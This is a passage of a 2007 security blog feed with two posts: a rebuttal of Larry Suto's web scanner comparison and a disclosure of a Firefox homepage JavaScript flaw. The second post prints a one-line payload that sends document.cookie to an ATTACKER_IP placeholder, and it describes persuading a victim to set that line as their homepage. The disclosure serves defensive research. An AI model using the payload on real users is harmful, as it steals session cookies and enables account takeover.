<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">
&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;p&gt;The following is an overview taken from my whitepaper that discusses Larry Suto's recent paper "Analyzing the Effectiveness and Coverage of Web Application Security Scanners".  &lt;p&gt;Suto's paper, as you may or may not know, caused some stir in the industry, which got some of us busy doing our own analysis to rebut some of its findings and methodology.  &lt;blockquote&gt; &lt;p&gt;In October 2007, Larry Suto published the whitepaper "Analyzing the Effectiveness and Coverage of Web Application Security Scanners". The paper, attempted to quantify the effectiveness of automated web application scanners, and in particular he compared between NTObjective's NTOSpider, HP (SPIDynamics) WebInspect, and IBM Rational AppScan.  &lt;p&gt;Larry's comparative work attempted to analyze the effectiveness of the scanners in four areas:  &lt;ol&gt; &lt;li&gt;Links crawled by the scanners' web crawler  &lt;li&gt;Coverage of application code (tested using Fortify's Tracer tool)  &lt;li&gt;Number of verified vulnerabilities that were found  &lt;li&gt;Number of false positives&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;The paper's conclusion showed a large discrepancy in the number of vulnerabilities detected by WebInspect and AppScan, to those detected by NTOSpider, and in addition it seemed as if WebInspect and AppScan missed a large amount of vulnerabilities (i.e. False Negatives).  &lt;p&gt;My overview, which is presented in this paper, will attempt to shed some light on the results presented in Suto's paper, as well as to rebut its accuracy.  &lt;p&gt;This paper will show that there are fundamental flaws in the original report:  &lt;ol&gt; &lt;li&gt;The findings are not appropriate for comparison purposes, as they compare numbers from products that are measuring vulnerabilities at different levels of granularity (i.e. Apples and Oranges).  &lt;li&gt;The methodology used in the original whitepaper is questionable, because it wasn't fully explained.  &lt;li&gt;After requesting information about the test environment and AppScan scan files from the author, our own experiments produced significantly different results from those published in the whitepaper. &lt;/li&gt;&lt;/ol&gt; &lt;ol&gt;&lt;/ol&gt;&lt;/blockquote&gt; &lt;ol&gt; &lt;p&gt;The entire whitepaper is available for download here: [&lt;a href="http://blog.watchfire.com/BetterUntaughtThanIllTaught.pdf" target="_blank"&gt;Better Untaught Than Ill-Taught&lt;/a&gt;]&lt;/p&gt; 

&lt;p&gt;You can find the original whitepaper written by Larry Suto &lt;a href="http://ha.ckers.org/files/CoverageOfWebAppScanners.zip" target="_blank"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You should also check out &lt;a href="http://portal.spidynamics.com/blogs/spilabs/attachment/71302.ashx" target="_blank"&gt;a similar analysis paper&lt;/a&gt; written by Jeff Forristal (HP/SPI), that was published a few weeks ago.&lt;/p&gt;&lt;/ol&gt;&lt;/div&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=ev2DPI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=ev2DPI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=BZujFI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=BZujFI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=7YCl0i"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=7YCl0i" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/194551578" height="1" width="1"/&gt;</content>


    </entry>
    <entry>
        <title>Firefox Homepage JavaScript Execution</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2007/11/firefox-homepag.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2007/11/firefox-homepag.html" thr:count="4" thr:updated="2007-11-30T22:59:30+02:00" />
        <id>tag:typepad.com,2003:post-42070808</id>
        <published>2007-11-27T16:48:40+02:00</published>
        <updated>2007-11-27T16:48:58+02:00</updated>
        <summary>Last month Yair Amit wrote a post about the wild behavior of Internet Explorer's Favorites. Now it's Firefox's turn in the spotlight as I noticed a feature which misbehaves. The feature is that Firefox (tested on version 2.0.0.9) permits you...</summary>
        <author>
            <name>Roee Hay</name>
        </author>
        <category scheme="http://www.sixapart.com/ns/types#category" term="Research" />
        
        
<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">&lt;p&gt;&lt;img src="http://blog.watchfire.com/photos/watchfire/homepage.jpg" align="right"&gt;&lt;/img&gt;&lt;/p&gt;&#xD;
&#xD;
&lt;p&gt;Last month Yair Amit wrote a post about the wild behavior of Internet Explorer's Favorites. Now it's Firefox's turn in the spotlight as I noticed a feature which misbehaves. The feature is that Firefox (tested on version 2.0.0.9) permits you to set an inline JavaScript as a homepage.&lt;/p&gt;&#xD;
&#xD;
&lt;p&gt;The problem inherent with this is that the installed script is executed in the context of the last visited URL, giving an attacker the opportunity to access the domain of last the visited webpage.&lt;/p&gt;&#xD;
&#xD;
&lt;p&gt;For example, the attacker can run a specially crafted HTTP server which logs all incoming requests, and sends an HTTP Redirect reply that contains the victim's real homepage URL. &lt;/p&gt;&#xD;
&#xD;
&lt;p&gt;The attacker must then somehow convince the victim to change his homepage to &lt;span style="FONT-FAMILY: Courier"&gt;javascript:location.href='http://&amp;lt;ATTACKER_IP&amp;gt;/'&lt;br&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: Courier"&gt;+document.cookie&lt;/span&gt;&lt;/p&gt;&#xD;
&#xD;
&lt;p&gt;When the user clicks on the homepage button, he will be redirected to his original homepage, without noticing that his cookies have been stolen!&lt;/p&gt;&#xD;
&#xD;
&lt;p&gt;Although this is not an invisible attack, nor a very effective one (how often do you click on the Homepage button?), its strength is that it is persistent. Most people do not change their homepage frequently, so once the user has been lured into changing his homepage, months may pass before he discovers that his cookies have been stolen. &lt;/p&gt;&#xD;
&#xD;
&lt;p&gt;It should be mentioned that IE7 rejects inline JavaScripts in the homepage field, thus blocking this kind of attack.&lt;/p&gt;&#xD;
&#xD;
&lt;p&gt;Now it is Yair's turn to find a new vulnerability in Internet Explorer :)&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=kDtsEI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=kDtsEI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=lAaP4I"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=lAaP4I" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=Ake9oi"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=Ake9oi" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/191298707" height="1" width="1"/&gt;</content>


    </entry>
 
</feed>
